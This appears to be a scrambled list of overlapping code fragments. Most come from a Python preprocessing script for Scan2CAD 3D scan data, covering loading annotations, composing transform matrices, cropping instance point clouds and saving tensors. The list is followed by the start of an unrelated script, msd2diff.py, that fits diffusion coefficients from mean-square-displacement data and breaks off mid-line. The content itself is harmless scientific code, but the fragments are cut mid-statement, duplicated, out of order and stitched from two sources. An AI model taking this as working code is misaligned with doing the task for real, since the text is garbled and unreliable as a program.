"r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad']", "= np.linalg.norm(R[0:3, 1]) sz = np.linalg.norm(R[0:3, 2]) s = np.array([sx,", "Instance Segments Crop seg_points, vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels,", "# Instance vertices # - (1) Region Crop & Axis-aligned", "SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] =", "Thresholds PADDING = 0.05 SCALE_THRASHOLD = 0.05 SEG_THRESHOLD = 1", "= {} d[i]['id_scan'] = i_scan d[i]['trs'] = r[\"trs\"] n_model =", "= 512 MAX_DATA_SIZE = 15000 CHUNK_SIZE = 1000 INF =", "3) semantic_labels = np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy') # (N, sem_cls(0,", "np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud,", "torch.min(p_dist, dim=-1) return dist.item(), idx.item() def make_M_from_tqs(t, q, s): q", "======= error_scan = {} # Text # Anchor collection (for", "semantic_labels = np.load(os.path.join(self.data_path, id_scan) + '_sem_label.npy') # (N, sem_cls(0, 1~35,", "f.write('\\n') if __name__ == \"__main__\": Dataset = Scan2CADCollect(split_set='all', distr_check=True) N", "# error check ins_list = np.unique(instance_vertices) if (np.max(instance_vertices)+1) != (len(ins_list)-1):", "for model in range(K): obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale)", "for sname in self.scan_list \\ if sname in all_scan_names] print_log('Dataset", "r[\"trs\"] n_model = r[\"n_aligned_models\"] d[i]['n_total'] = n_model d[i]['models'] = {}", "os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup DATA_DIR =", "f: data = json.load(f) d = {} i = -1", "print(\"Created scene directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path) point_cloud", "p_diff = target - p p_dist = torch.sum(p_diff**2, dim=-1) dist,", "= torch.min(p_dist, dim=-1) return dist.item(), idx.item() def make_M_from_tqs(t, q, s):", "GLOBAL LABEL VARIABLES ======= error_scan = {} # Text #", "vertices # - (1) Region Crop & Axis-aligned Bounding Box", "= SCALE_THRASHOLD check = True return scale def collect(self, N,", "= False k = -1 for i, model in enumerate(model_scale_order.keys()):", "obj_corners) nx = ex_points.shape[0] # - (2) Instance Segments Crop", "r in enumerate(data): i_scan = r[\"id_scan\"] if i_scan not in", "sx = np.linalg.norm(R[0:3, 0]) sy = np.linalg.norm(R[0:3, 1]) sz =", "- point_cloud[:, :3].mean(0)) pcoord = point_cloud.astype(np.float64) colors = colors.astype(np.float32) sem_labels", "= r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym'] =", "* (-1) semantic_vertices = np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) # Sorting", "model in enumerate(model_scale_order.keys()): k += 1 # semantics () sem_cls", "[] with open(filename_json, 'r') as f: data = json.load(f) d", "# (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls # (0~num_classes-1) NOTE:unannotated=-1 #", "print('illegal split name') return filename_json = BASE_DIR_1 + \"/full_annotations.json\" assert", "======= GLOBAL LABEL VARIABLES ======= error_scan = {} # Text", "= compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center) # Instance vertices # -", "file_path = os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels, ins_labels), file_path) print(f\"[{index}/{N}", "point_cloud[:, :3].mean(0)) pcoord = point_cloud.astype(np.float64) colors = colors.astype(np.float32) sem_labels =", "scans out of {}'.format(split_set, len(self.scan_list), num_scans)) num_scans = len(self.scan_list) else:", "classes) instance_vertices[vert_choices] = k # (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls", "semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx = seg_points.shape[0] # ======= Semantic/Instance vertices", "# ======= Semantic/Instance vertices ======= if seg_nx < SEG_THRESHOLD: k", "= torch.sum(p_diff**2, dim=-1) dist, idx = torch.min(p_dist, dim=-1) return dist.item(),", "= target - p p_dist = torch.sum(p_diff**2, dim=-1) dist, idx", "= {} for model in range(K): obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model]", "T.dot(R).dot(S) return M def compose_mat4(t, q, s, center=None): if not", "print('-'*LOG_N+'\\n'+log+' \\n'+'-'*LOG_N) class Scan2CADCollect(Dataset): def __init__(self, split_set='train', distr_check=False): self.data_path =", "x in enumerate(CARED_CLASS_MASK): REMAPPER[x] = i print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS", "data = json.load(f) d = {} i = -1 for", "Anchor collection (for detection) print_log(\" LOADING SCENES\") collect_path = os.path.join(BASE_DIR,", "colors = mesh_vertices[:,3:6] / 127.5 - 1 instance_vertices = np.ones((point_cloud.shape[0]),", "64 INS_NUM_POINT = 2048 FEATURE_DIMENSION = 512 MAX_DATA_SIZE = 15000", "remove unavailiable scans num_scans = len(self.scan_list) self.scan_list = [sname for", "reverse=True): print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}') def __len__(self): return len(self.dataset) def", "= s2c_utils.get_3d_box_rotated(ins_bbox, Mobj, padding=PADDING) ex_points, obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx", "out of {}'.format(split_set, len(self.scan_list), num_scans)) num_scans = len(self.scan_list) else: print('illegal", "return M def decompose_mat4(M): R = M[0:3, 0:3].copy() sx =", "\\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx = seg_points.shape[0] #", "= np.diag(s) C = np.eye(4) if center is not None:", "d[i]['n_total'] = n_model d[i]['models'] = {} for j in range(n_model):", "= np.linalg.norm(R[0:3, 2]) s = np.array([sx, sy, sz]) R[:,0] /=", "x.startswith('scene')])) self.scan_names = [] if split_set in ['all', 'train', 'val',", "decompose_mat4(M): R = M[0:3, 0:3].copy() sx = np.linalg.norm(R[0:3, 0]) sy", "'data4') if not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export directory: {}\".format(self.out_path)) all_scan_names", "= SCALE_THRASHOLD check = True if scale[2] < SCALE_THRASHOLD: scale[2]", "cat_class # category summary cat_summary[cat_class]+=1 self.dataset = d self.cat_ids =", "if scale[2] < SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD check = True", ":3] - point_cloud[:, :3].mean(0)) pcoord = point_cloud.astype(np.float64) colors = colors.astype(np.float32)", "obj_vert_ind = s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx = ex_points.shape[0] # - (2)", "continue sem_cls = REMAPPER[sem_cls] # if sem_cls < 0: continue", "__init__(self, split_set='train', distr_check=False): self.data_path = os.path.join(DATA_DIR, 'Scan2CAD/export') self.out_path = os.path.join(BASE_DIR_1,", "error_scan = {} # Text # Anchor collection (for detection)", "K = len(model_scale_order.keys()) # Iterate on scale_order checked = False", "int a size of dataset return: dict: (NK, 1, V,", "DUMP COLLECT RESULTS if dump: scene_path = os.path.join(collect_path, f'{id_scan}') if", "# wall, floor # Thresholds PADDING = 0.05 SCALE_THRASHOLD =", "object (only preserve CARED classes) instance_vertices[vert_choices] = k # (0~K-1)", "3] return t, q, s # ======================================================================================================== LOG_N = 100", "= self.dataset[index] id_scan = data['id_scan'] K = data['n_total'] assert(K <=", "= quaternion.as_rotation_matrix(q) # 3x3 rep6d = mat[:, 0:2].transpose().reshape(-1, 6) #", "if sem_cls < 0: continue # ignore non-valid class object", "obj_scale = np.array(data['models'][model]['trs']['scale']) sort_by_scale[model] = np.sum(obj_scale) model_scale_order = {model: scale", "t R = np.eye(4) R[0:3, 0:3] = quaternion.as_rotation_matrix(q) S =", "in dataset V = a number of vertices args: N:", "# scene data file_path = os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels,", "DC = Scan2CADDatasetConfig() MAX_NUM_POINT = 50000 MAX_NUM_OBJ = 64 INS_NUM_POINT", "os.path.join(DATA_DIR, 'Dataset') # /root/Dataset DUMP_DIR = os.path.join(ROOT_DIR, 'data') sys.path.append(BASE_DIR) sys.path.append(ROOT_DIR)", "NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls # (0~num_classes-1) NOTE:unannotated=-1 # error check", "self.scan_list: continue self.scan_names.append(i_scan) i += 1 d[i] = {} d[i]['id_scan']", "open(self.out_path+'/error_scan.txt', 'w') as f: print_log(\"ERROR SCAN\") for i, sname in", "q[3]) T = np.eye(4) T[0:3, 3] = t R =", "split name') return filename_json = BASE_DIR_1 + \"/full_annotations.json\" assert filename_json", "print_log(\" LOADING SCENES\") collect_path = os.path.join(BASE_DIR, 'collect') for index in", "Mobj = compose_mat4(obj_translation, obj_rotation, obj_scale, obj_center) # Instance vertices #", "torch from torch.utils.data import Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad", "# if sem_cls < 0: continue # ignore non-valid class", "torch.save((pcoord, colors, sem_labels, ins_labels), file_path) print(f\"[{index}/{N} Saved] {id_scan} >>> {file_path}\")", "(-1) # Sorting points cropping order to avoid overlapping sort_by_scale", "self.scan_list = f.read().splitlines() # remove unavailiable scans num_scans = len(self.scan_list)", "= np.array(data['models'][model]['trs']['rotation']) obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale, id_scan, sem_cls)", "PointGroup DATA_DIR = os.path.dirname(ROOT_DIR) # /root/ DATA_DIR = os.path.join(DATA_DIR, 'Dataset')", "import Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC = Scan2CADDatasetConfig() MAX_NUM_POINT", "50000 MAX_NUM_OBJ = 64 INS_NUM_POINT = 2048 FEATURE_DIMENSION = 512", "Iterate on scale_order checked = False k = -1 for", "is not None: C[0:3, 3] = center M = T.dot(R).dot(S).dot(C)", "quaternion import torch from torch.utils.data import Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__))", "= [] if split_set in ['all', 'train', 'val', 'test']: split_filenames", "vertices args: N: int a size of dataset return: dict:", "not isinstance(q, np.quaternion): q = np.quaternion(q[0], q[1], q[2], q[3]) T", "np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale, id_scan, sem_cls) Mobj = compose_mat4(obj_translation, obj_rotation,", "(2) Instance Segments Crop seg_points, vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind,", "{i:2d}') SYM2CLASS = {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2, \"__SYM_ROTATE_UP_INF\":", "3] = t R = np.eye(4) R[0:3, 0:3] = quaternion.as_rotation_matrix(q)", "= os.path.dirname(BASE_DIR) # PointGroup DATA_DIR = os.path.dirname(ROOT_DIR) # /root/ DATA_DIR", "os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export directory: {}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12] \\", "dict.fromkeys(DC.ClassToName, 0) cat_ids = [] with open(filename_json, 'r') as f:", "= mat[:, 0:2].transpose().reshape(-1, 6) # 6 return rep6d def nn_search(p,", "Box vert_choices = np.array([]) ins_bbox = np.array(data['models'][model]['bbox']) obj_corners = s2c_utils.get_3d_box_rotated(ins_bbox,", "d[i]['models'] = {} for j in range(n_model): d[i]['models'][j] = {}", "import Dataset BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1)", "/root/ DATA_DIR = os.path.join(DATA_DIR, 'Dataset') # /root/Dataset DUMP_DIR = os.path.join(ROOT_DIR,", "d[i] = {} d[i]['id_scan'] = i_scan d[i]['trs'] = r[\"trs\"] n_model", "# - (1) Region Crop & Axis-aligned Bounding Box vert_choices", "= SCALE_THRASHOLD check = True if scale[1] < SCALE_THRASHOLD: scale[1]", "= np.unique(cat_ids) if distr_check: for k, v in sorted(cat_summary.items(), key=lambda", ">>> {file_path}\") # error scan with open(self.out_path+'/error_scan.txt', 'w') as f:", "{}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:, :3]", "if not os.path.exists(self.out_path): os.mkdir(self.out_path) print(\"Create export directory: {}\".format(self.out_path)) all_scan_names =", "= os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors, sem_labels, ins_labels), file_path) print(f\"[{index}/{N} Saved]", "self.scan_list \\ if sname in all_scan_names] print_log('Dataset for {}: kept", "CLASS_MAPPING, ID2NAME, CARED_CLASS_MASK from s2c_config import Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR,", "in enumerate(data): i_scan = r[\"id_scan\"] if i_scan not in self.scan_list:", "np.linalg.norm(R[0:3, 2]) s = np.array([sx, sy, sz]) R[:,0] /= sx", "for index in range(N): data = self.dataset[index] id_scan = data['id_scan']", "0 continue # DUMP COLLECT RESULTS if dump: scene_path =", "scale def collect(self, N, dump=False): \"\"\" Return dictionary of {verts(x,y,z):", "dtype=np.int64) * (-1) for i, x in enumerate(CARED_CLASS_MASK): REMAPPER[x] =", "detection) print_log(\" LOADING SCENES\") collect_path = os.path.join(BASE_DIR, 'collect') for index", "{}'.format(i, sname)) f.write(sname) f.write('\\n') if __name__ == \"__main__\": Dataset =", "t, q, s # ======================================================================================================== LOG_N = 100 def print_log(log):", "SCAN\") for i, sname in enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname)) f.write(sname)", "point_cloud = np.ascontiguousarray(point_cloud[:, :3] - point_cloud[:, :3].mean(0)) pcoord = point_cloud.astype(np.float64)", "{} i = -1 for idx, r in enumerate(data): i_scan", "{file_path}\") # error scan with open(self.out_path+'/error_scan.txt', 'w') as f: print_log(\"ERROR", "os.mkdir(self.out_path) print(\"Create export directory: {}\".format(self.out_path)) all_scan_names = list(set([os.path.basename(x)[0:12] \\ for", "=> {i:2d}') SYM2CLASS = {\"__SYM_NONE\": 0, \"__SYM_ROTATE_UP_2\": 1, \"__SYM_ROTATE_UP_4\": 2,", "= a number of vertices args: N: int a size", "= 1000 INF = 9999 NOT_CARED_ID = np.array([INF]) # wall,", "def decompose_mat4(M): R = M[0:3, 0:3].copy() sx = np.linalg.norm(R[0:3, 0])", "cat_id cat_class = DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class # category summary", "'collect') for index in range(N): data = self.dataset[index] id_scan =", "import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC = Scan2CADDatasetConfig() MAX_NUM_POINT = 50000", "{}'.format(split_set, len(self.scan_list), num_scans)) num_scans = len(self.scan_list) else: print('illegal split name')", "(1) Region Crop & Axis-aligned Bounding Box vert_choices = np.array([])", "= np.array(data['models'][model]['center']) obj_translation = np.array(data['models'][model]['trs']['translation']) obj_rotation = np.array(data['models'][model]['trs']['rotation']) obj_scale =", "NOTE:unannotated=-1 # error check ins_list = np.unique(instance_vertices) if (np.max(instance_vertices)+1) !=", "1 REMAPPER = np.ones(35, dtype=np.int64) * (-1) for i, x", "key=(lambda item:item[1]), reverse=True)} K = len(model_scale_order.keys()) # Iterate on scale_order", "Sorting points cropping order to avoid overlapping sort_by_scale = {}", "'test']: split_filenames = os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames, 'r') as", "r[\"id_scan\"] if i_scan not in self.scan_list: continue self.scan_names.append(i_scan) i +=", "BASE_DIR_1 = os.path.dirname(os.path.abspath(__file__)) # scan2cad BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset", "{} for j in range(n_model): d[i]['models'][j] = {} d[i]['models'][j]['trs'] =", "= r[\"trs\"] n_model = r[\"n_aligned_models\"] d[i]['n_total'] = n_model d[i]['models'] =", "MAX_NUM_POINT = 50000 MAX_NUM_OBJ = 64 INS_NUM_POINT = 2048 FEATURE_DIMENSION", "d[i]['models'][j]['sym'] = SYM2CLASS[r[\"aligned_models\"][j]['sym']] d[i]['models'][j]['fname'] = r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id)", "collect_path = os.path.join(BASE_DIR, 'collect') for index in range(N): data =", "i = -1 for idx, r in enumerate(data): i_scan =", "checked = True continue sem_cls = REMAPPER[sem_cls] # if sem_cls", "2]) s = np.array([sx, sy, sz]) R[:,0] /= sx R[:,1]", "enumerate(model_scale_order.keys()): k += 1 # semantics () sem_cls = data['models'][model]['sem_cls']", "print(f'{k:2d}: {DC.ClassToName[k]:12s} => {v:4d}') def __len__(self): return len(self.dataset) def size_check(self,", "{DC.ClassToName[k]:12s} => {v:4d}') def __len__(self): return len(self.dataset) def size_check(self, scale,", "CARED_CLASS_MASK from s2c_config import Scan2CADDatasetConfig import s2c_utils sys.path.append(os.path.join(ROOT_DIR, 'models/retrieval/')) DC", "M = T.dot(R).dot(S) return M def compose_mat4(t, q, s, center=None):", "'models/retrieval/')) DC = Scan2CADDatasetConfig() MAX_NUM_POINT = 50000 MAX_NUM_OBJ = 64", "< SCALE_THRASHOLD: scale[2] = SCALE_THRASHOLD check = True return scale", "< SCALE_THRASHOLD: scale[1] = SCALE_THRASHOLD check = True if scale[2]", "============ # scene data file_path = os.path.join(self.out_path, id_scan+'_inst.pth') torch.save((pcoord, colors,", "directory: {}\".format(scene_path)) s2c_utils.write_scene_results(points=point_cloud, ins_points=instance_vertices, num_instances=K, bboxes=None, file_path=scene_path) point_cloud = np.ascontiguousarray(point_cloud[:,", "x in os.listdir(self.data_path) if x.startswith('scene')])) self.scan_names = [] if split_set", "cat_ids = [] with open(filename_json, 'r') as f: data =", "--> {id_scan}\") error_scan[id_scan] = 0 continue # DUMP COLLECT RESULTS", "{} d[i]['id_scan'] = i_scan d[i]['trs'] = r[\"trs\"] n_model = r[\"n_aligned_models\"]", "range(N): data = self.dataset[index] id_scan = data['id_scan'] K = data['n_total']", "BASE_DIR = os.path.dirname(BASE_DIR_1) # dataset ROOT_DIR = os.path.dirname(BASE_DIR) # PointGroup", "print_log(f\"[{index}/{N} Error] Please check this scene --> {id_scan}\") error_scan[id_scan] =", "self.scan_list = [sname for sname in self.scan_list \\ if sname", "self.dataset = d self.cat_ids = np.unique(cat_ids) if distr_check: for k,", "k # (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls # (0~num_classes-1) NOTE:unannotated=-1", "enumerate(error_scan.keys()): print('{:2d}: {}'.format(i, sname)) f.write(sname) f.write('\\n') if __name__ == \"__main__\":", "= BASE_DIR_1 + \"/full_annotations.json\" assert filename_json self.dataset = {} cat_summary", "i += 1 d[i] = {} d[i]['id_scan'] = i_scan d[i]['trs']", "'train', 'val', 'test']: split_filenames = os.path.join(BASE_DIR_1, 'meta_data', 'scan2cad_{}.txt'.format(split_set)) with open(split_filenames,", "dim=-1) dist, idx = torch.min(p_dist, dim=-1) return dist.item(), idx.item() def", "args: N: int a size of dataset return: dict: (NK,", "= point_cloud.astype(np.float64) colors = colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64) ins_labels =", "np.linalg.norm(R[0:3, 1]) sz = np.linalg.norm(R[0:3, 2]) s = np.array([sx, sy,", "T.dot(R).dot(S).dot(C) return M def decompose_mat4(M): R = M[0:3, 0:3].copy() sx", "= np.sum(obj_scale) model_scale_order = {model: scale for model, scale in", "r[\"aligned_models\"][j]['id_cad'] cat_id = r[\"aligned_models\"][j]['catid_cad'] cat_ids.append(cat_id) d[i]['models'][j]['cat_id'] = cat_id cat_class =", "filename} Note: NK = a total number of instances in", "np.ones((point_cloud.shape[0]), dtype=np.int64) * (-1) # Sorting points cropping order to", "d[i]['models'][j]['trs'] = r[\"aligned_models\"][j]['trs'] d[i]['models'][j]['center'] = r[\"aligned_models\"][j]['center'] d[i]['models'][j]['bbox'] = r[\"aligned_models\"][j]['bbox'] d[i]['models'][j]['sym']", "= {} cat_summary = dict.fromkeys(DC.ClassToName, 0) cat_ids = [] with", "colors = colors.astype(np.float32) sem_labels = semantic_vertices.astype(np.float64) ins_labels = instance_vertices.astype(np.float64) #", "= n_model d[i]['models'] = {} for j in range(n_model): d[i]['models'][j]", "+ \"/full_annotations.json\" assert filename_json self.dataset = {} cat_summary = dict.fromkeys(DC.ClassToName,", "< SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD check = True if scale[1]", "= DC.ShapenetIDtoClass(cat_id) d[i]['models'][j]['sem_cls'] = cat_class # category summary cat_summary[cat_class]+=1 self.dataset", "vert_choices = \\ s2c_utils.filter_dominant_cls(point_cloud, obj_vert_ind, semantic_labels, sem_cls+1, NOT_CARED_ID) seg_nx =", "n_model = r[\"n_aligned_models\"] d[i]['n_total'] = n_model d[i]['models'] = {} for", "overlapping sort_by_scale = {} for model in range(K): obj_scale =", "q = quaternion.from_rotation_matrix(R[0:3, 0:3]) t = M[0:3, 3] return t,", "obj_scale = np.array(data['models'][model]['trs']['scale']) obj_scale = self.size_check(obj_scale, id_scan, sem_cls) Mobj =", "quaternion.as_rotation_matrix(q) S = np.eye(4) S[0:3, 0:3] = np.diag(s) C =", "INS_NUM_POINT = 2048 FEATURE_DIMENSION = 512 MAX_DATA_SIZE = 15000 CHUNK_SIZE", "= k # (0~K-1) NOTE:unannotated=-1 semantic_vertices[vert_choices] = sem_cls # (0~num_classes-1)", "1 # semantics () sem_cls = data['models'][model]['sem_cls'] # (0~num_classes-1) #", "= s2c_utils.extract_pc_in_box3d(point_cloud, obj_corners) nx = ex_points.shape[0] # - (2) Instance", "= len(model_scale_order.keys()) # Iterate on scale_order checked = False k", "REMAPPER[x] = i print(f'REMAPPER[{x:2d}] => {i:2d}') SYM2CLASS = {\"__SYM_NONE\": 0,", "check = False if scale[0] < SCALE_THRASHOLD: scale[0] = SCALE_THRASHOLD", "ex_points.shape[0] # - (2) Instance Segments Crop seg_points, vert_choices =", "SCALE_THRASHOLD = 0.05 SEG_THRESHOLD = 1 REMAPPER = np.ones(35, dtype=np.int64)" ]
[ "tfac = 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals = np.array([", "/1.e-15 a = a *fac /(2.0*dim) b = b *fac", "Plot a fitted graph. [default: False] \"\"\" from __future__ import", "if 'time_interval' in line: time_interval = abs(float(line.split()[1])) elif 'num_iteration' in", "/(2.0*dim) return a,b,std if __name__ == \"__main__\": args = docopt(__doc__)", "1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals = np.array([ (t*a+b)/fac for", "unit in ps unit = 'ps' tfac = 1.0e-3 plt.xlabel('Time", "[] n0 = 0 msd0 = 0.0 for il,line in", "0 msd0 = 0.0 for il,line in enumerate(lines): if line[0]", "= np.var(A[:,0]) p,res,_,_ = np.linalg.lstsq(A,msds,rcond=None) a = p[0] b =", "diffusion coefficient from MSD data. Time interval, DT, is obtained", "std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return a,b,std if __name__ ==", "= dt_from_inpmd(fname=dname+'/in.pmd') except Exception as e: raise RuntimeError('Failed to read", "multiplied by FAC. \"\"\" A= np.array([ts, np.ones(len(ts))]) A = A.T", "({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit)) fvals = np.array([ (t*a+b)/fac for t in", "and exit. -o, --offset OFFSET Offset of given data. [default:", "os.path.dirname(fname) dt = dt_from_inpmd(fname=dname+'/in.pmd') except Exception as e: raise RuntimeError('Failed", "[] or spc not in specorder: index = 1 else:", "is obtained from in.pmd in the same directory. Usage: msd2diff.py", "# fac = 1.0e-16 /1.e-15 a = a *fac /(2.0*dim)", "np __author__ = \"<NAME>\" __version__ = \"191212\" def read_out_msd(fname='out.msd',offset=0,specorder=[],spc=None): if", "= [] msds = [] n0 = 0 msd0 =", "time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion coefficient from time [fs]", "as plt import seaborn as sns sns.set(context='talk',style='ticks') #...Original time unit", "msd = float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with", "b *fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return", "np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as f: lines = f.readlines()", "line.split() if il < offset: n0 = int(data[0]) msd0 =", "--offset OFFSET Offset of given data. [default: 0] --plot Plot", "/(2.0*dim) b = b *fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar)", "raise RuntimeError('Failed to read in.pmd.') ts = [] msds =", "= int(data[0]) msd = float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds) def", "abs(float(line.split()[1])) elif 'num_iteration' in line: num_iteration = int(line.split()[1]) elif 'num_out_pos'", "unit == fs unit = 'fs' tfac = 1.0 if", "return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with open(fname,'r') as f: lines =", "in.pmd.') ts = [] msds = [] n0 = 0", "time unit == fs unit = 'fs' tfac = 1.0", "= np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return a,b,std if __name__ == \"__main__\":", "or 'num_out_pmd' in line: num_out_pos = int(line.split()[1]) return time_interval*num_iteration/num_out_pos def", "unit = 'fs' tfac = 1.0 if ts[-1] > 1.0e+5:", "False] \"\"\" from __future__ import print_function import os,sys from docopt", "np.array([ts, np.ones(len(ts))]) A = A.T xvar = np.var(A[:,0]) p,res,_,_ =", "msd2D(ts,msds,fac) print(' Diffusion coefficient = {0:12.4e}'.format(a)+ ' +/- {0:12.4e} [cm^2/s]'.format(std))", "same directory. Usage: msd2diff.py [options] MSD_FILE Options: -h, --help Show", "line in lines: if 'time_interval' in line: time_interval = abs(float(line.split()[1]))", "unit = 'ps' tfac = 1.0e-3 plt.xlabel('Time ({0:s})'.format(unit)) plt.ylabel('MSD (A^2/{0:s})'.format(unit))", "interval, DT, is obtained from in.pmd in the same directory.", "[cm^2/s]'.format(std)) if plot: import matplotlib.pyplot as plt import seaborn as", "n0 = 0 msd0 = 0.0 for il,line in enumerate(lines):", "*fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std = np.sqrt(res[0]/len(ts)/xvar) *fac /(2.0*dim) return a,b,std", "= float(data[index]) ts.append((n-n0)*dt) msds.append(msd-msd0) return np.array(ts),np.array(msds) def dt_from_inpmd(fname='in.pmd'): with open(fname,'r')", "'num_iteration' in line: num_iteration = int(line.split()[1]) elif 'num_out_pos' in line", "square problem using numpy. Return diffusion coefficient multiplied by FAC.", "t in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\", format='png',", "__future__ import print_function import os,sys from docopt import docopt import", "= msd2D(ts,msds,fac) print(' Diffusion coefficient = {0:12.4e}'.format(a)+ ' +/- {0:12.4e}", "for t in ts ]) plt.plot(ts*tfac,msds/tfac,'b-',label='MSD data') plt.plot(ts*tfac,fvals/tfac,'r-',label='Fitted curve') plt.savefig(\"graph_msd2D.png\",", "= 1 else: index = specorder.index(spc) +1 with open(fname,'r') as", "n0 = int(data[0]) msd0 = float(data[index]) continue n = int(data[0])", "msd2diff.py [options] MSD_FILE Options: -h, --help Show this message and", "if __name__ == \"__main__\": args = docopt(__doc__) fname = args['MSD_FILE']", "*fac /(2.0*dim) b = b *fac # print(res[0],xvar,np.mean(A[:,0]),len(ts)) std =", "+1 with open(fname,'r') as f: lines = f.readlines() try: dname", "= 'fs' tfac = 1.0 if ts[-1] > 1.0e+5: #...if", "'#': continue data = line.split() if il < offset: n0", "il,line in enumerate(lines): if line[0] == '#': continue data =", "[fs] vs MSD [Ang^2] data by solving least square problem", "/1.0e-15 #...Least square a,b,std = msd2D(ts,msds,fac) print(' Diffusion coefficient =", "data by solving least square problem using numpy. Return diffusion", "import print_function import os,sys from docopt import docopt import numpy", "offset = int(args['--offset']) plot = args['--plot'] ts,msds = read_out_msd(fname,offset) #...Assuming", "diffusion coefficient multiplied by FAC. \"\"\" A= np.array([ts, np.ones(len(ts))]) A", "= [] n0 = 0 msd0 = 0.0 for il,line", "elif 'num_out_pos' in line or 'num_out_pmd' in line: num_out_pos =", "RuntimeError('Failed to read in.pmd.') ts = [] msds = []", "int(line.split()[1]) return time_interval*num_iteration/num_out_pos def msd2D(ts,msds,fac,dim=3): \"\"\" Compute diffusion coefficient from", "int(data[0]) msd0 = float(data[index]) continue n = int(data[0]) msd =", "open(fname,'r') as f: lines = f.readlines() for line in lines:", "Usage: msd2diff.py [options] MSD_FILE Options: -h, --help Show this message", "= b 